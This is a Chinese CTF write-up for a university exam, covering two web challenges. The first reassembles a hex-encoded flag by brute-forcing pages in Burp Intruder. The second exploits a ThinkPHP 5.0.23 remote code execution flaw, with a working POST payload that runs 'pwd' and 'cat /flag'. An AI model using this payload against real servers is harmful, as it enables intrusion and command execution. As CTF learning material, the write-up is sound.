大一下学期期末考wp

【web】

1.sign

打开题目

大一下学期期末考wp_第1张图片

大一下学期期末考wp_第2张图片

发现有1000个页面

打开第9999个和第9998个页面,发现是utf-8编码

大一下学期期末考wp_第3张图片

大一下学期期末考wp_第4张图片

 当再随机打开其他页面时,页面又出现了另外一种情况

大一下学期期末考wp_第5张图片

 于是我们猜测,flag是由utf-8编码的,编码被拆散了随机放在10000个页面中的几个页面中,其他没有存放编码的页面均显示   " don't be messy "   的结果。

那我们用bp抓包

大一下学期期末考wp_第6张图片

把页面数设置为密码进行爆破

大一下学期期末考wp_第7张图片

 修改线程长使其爆破速度变快

大一下学期期末考wp_第8张图片

 因为爆破返回的数据包长度一致,我们无法筛选出存在编码的页面

大一下学期期末考wp_第9张图片

但是两个页面虽然长度一致,但是内容,一个是utf-8编码,一个是" don' t be messy " 

我们可以利用数据的不同来对返回的包进行筛选

这里的知识点详见关于burpsuite在intruder返回包中,对内容进行匹配_burp返回包长度一致_后土轮回台的博客-CSDN博客

我们只需要修改这一步

大一下学期期末考wp_第10张图片再次开始攻击

大一下学期期末考wp_第11张图片

 可以看到,勾选的就是页面内容有" don' t be messy " ,没有勾选的很明显就是存放了编码的页面

我们把这些没有勾选的页面下的编码全部整理下来

9999    \x65\x7d
9998    \x66\x62
9990    \x39\x30
9347    \x35\x33
9280    \x38\x31
9031    \x33\x36
8693    \x36\x34
8008    \x63\x30
7333    \x34\x31
6624    \x66\x61
5931    \x61
5709    \x65
4821    \x30
4350    \x66
4138    \x34
3419    \x30
2558    \x39
2299    \x66
2144    \x39
2010    \x39
1937    \x63
1795    \x63
1735    \x61
1138    \x7b
947     \x67
843     \x61
594     \x6c
151     \x66

我们只需要将utf-8编码中的\x替换成%就行就能转换为unicode编码

知识点见:关于\x开头的字符串编码转换中文解决方法_YungGuo的博客-CSDN博客

就能得到flag

大一下学期期末考wp_第12张图片

2.thinkphp

打开题目

大一下学期期末考wp_第13张图片

 这是ThinkPHP V5 RCE漏洞

相关知识点:ThinkPHP V5 漏洞利用_b1gpig安全的博客-CSDN博客

thinkphp/5.0.23-rce漏洞复现_thinkphp5 rce 绕过_. iDea.的博客-CSDN博客

thinkphp 5.0.23 rce漏洞复现_ffff5Sec的博客-CSDN博客 Thinkphp5.0.23 rce(远程代码执行)的漏洞复现_thinkphp5023-method-rce_Peanut886886的博客-CSDN博客

bp抓包以后

修改参数请求为post

url后接入 /index.php?a=captcha

传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd"。

成功后修改参数

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

后得到flag值

大一下学期期末考wp_第14张图片

你可能感兴趣的:(前端)